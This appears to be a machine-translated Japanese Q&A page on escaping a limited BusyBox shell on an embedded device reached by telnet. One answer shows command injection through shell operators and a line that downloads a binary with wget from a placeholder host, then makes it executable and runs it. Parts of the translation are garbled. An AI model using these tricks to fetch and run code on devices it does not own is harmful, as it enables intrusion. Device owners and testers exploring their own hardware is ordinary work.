限られたBusyBoxシェル

一部の組み込みデバイスをテストしていますが、ドキュメントが不足しています。デバイスにtelnetすると、限られたシェルしか得られません。

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

これは限定されたシェルであり、明確ではありません。完全なシェルに入る方法は?

回答

  • 必要なコマンドはchsh(シェルの変更)です。これはshadowまたはshadow-utilsパッケージ。
  • /etc/passwordを手動で編集して、シェルをから変更することもできます。 /bin/ash他の何かへ:

    ただし、=>新しいシェルが存在することに十分注意してください。そうしないと、ロックされます。自分で出てください!!!


root上記のいずれかを実行します。

回答

BusyBoxは主にサイズの最適化に重点を置いており、コマンドは例外です。コンパイル時に含まれる/含まれる。したがって、追加情報を提供しないと、インストールされたコンポーネントのセットは非常に限られているようです

ただし、それは明らかです。これは、デバイスのファームウェア自体が特定のユーティリティをサポートしていないことを意味するものではありません。これが完全に明確でない場合は、よくある質問-Busyboxとはのセクションをご覧ください。一部の引用では、これを完全に明確にする必要があります:

「FTPを有効にできますか?」 -Foomatic-9000ファームウェアにftpdアプレットが有効になっているBusyboxバイナリが付属しているかどうかは「わかりません」。 (シェルプロンプトにアクセスできる場合は、「busybox ftpd–help」を実行してみてください)。もしそうなら、あなたはおそらくそれを有効にすることができるでしょう。残念ながら、Foomatic-9000ファームウェアがさまざまなサービスの開始と停止を管理する方法(すでにftpdサービスがあり、無効になっている場合)、またはFoomatic-9000で新しいサービスを作成して有効にする方法(サービスが無効になっている場合)はわかりません。グーグルで試してみてください。」

「SCPを有効にできますか?」 -「Busybox-1.23.4にはscpアプレットがありません。ただし、Foomatic-9000にはscpがインストールされている可能性があり(たとえば、dropbearがインストールされている場合)、有効にできる可能性があります。そうでない場合は、ビルドできる可能性があります。独自のscpツールをインストールします。グーグルで試してみてください。」

限られたデバイスに集中するのではなく、特定のデバイスとインストールされているファームウェアに集中する必要があります。 Busybox自体にリンクされたコンポーネントのセット。

コメント

  • わかりました、cliコマンドを忘れました。

回答

残念ながら、最近のほとんどの組み込みデバイス(ルーター、iotデバイスなど)は、ユーザーが内部システムにアクセスできないようにしようとしています。 「ハッキングしたり変更したりしないでください。これは、保護が必ずしも効果的であるとは限りませんが、miraiのようなボットネットの動作を防ぐための手段です。

限られたbusyboxシェルは非常に一般的なシナリオです。幸いなことに、一般的に、busyboxには、基盤となるシェルが必要です。」 ■あらゆる種類のユーザーインターフェイス(telnetやsshなど)。これは、そのシェルをバイパスして、基盤となるシェルでコマンドを実行できる可能性があることを意味します(つまり、/ bin / shは非常に一般的です)。

busyboxサンドボックスをエスケープする前に、以下:

  • 製造元がbusyboxシェルを変更して、この手法にパッチを適用した可能性があります
  • 基になるシェルは、(完全または部分的な)非特権シェルにすることができます。これは、コマンドを実行できたとしても、コマンドが機能しないか、十分な権限がないことを通知する可能性があることを意味します。
  • 基になるシェルも別の制限されたシェルである可能性があります(一般的ではありません)

準備ができたら、次の「トリック」を試すことができます:(すべてシェル演算子に依存しています)

次のようなことを試してください

echo "Hello World" & <your command> 

次の場合にコマンドが実行されます:

  1. バイナリが使用可能である(つまり、基本的にシステムにインストールされている場合)
  2. シェルはシェルにアクセスできます(特権)

次のような他の方法があります:

echo "Hello World" `your command` echo "Hello World" || <your command> 

その他のバリエーションインターネットで見つけるか、自分で試すことができます。

編集:シェルをエスケープしてさらに実行する方法の例を追加するために編集しています。

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

または直接./yourbinary

それがアイデアです。 chmodについては申し訳ありませんが、実行権限を付与するための正確な引数を覚えていません。

EDIT2:シェルにashと表示されているので、busyboxは実行中の(自動)スクリプトから実行された可能性があります。灰から。この場合、/ bin / ashシェルでコマンドを直接実行します。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です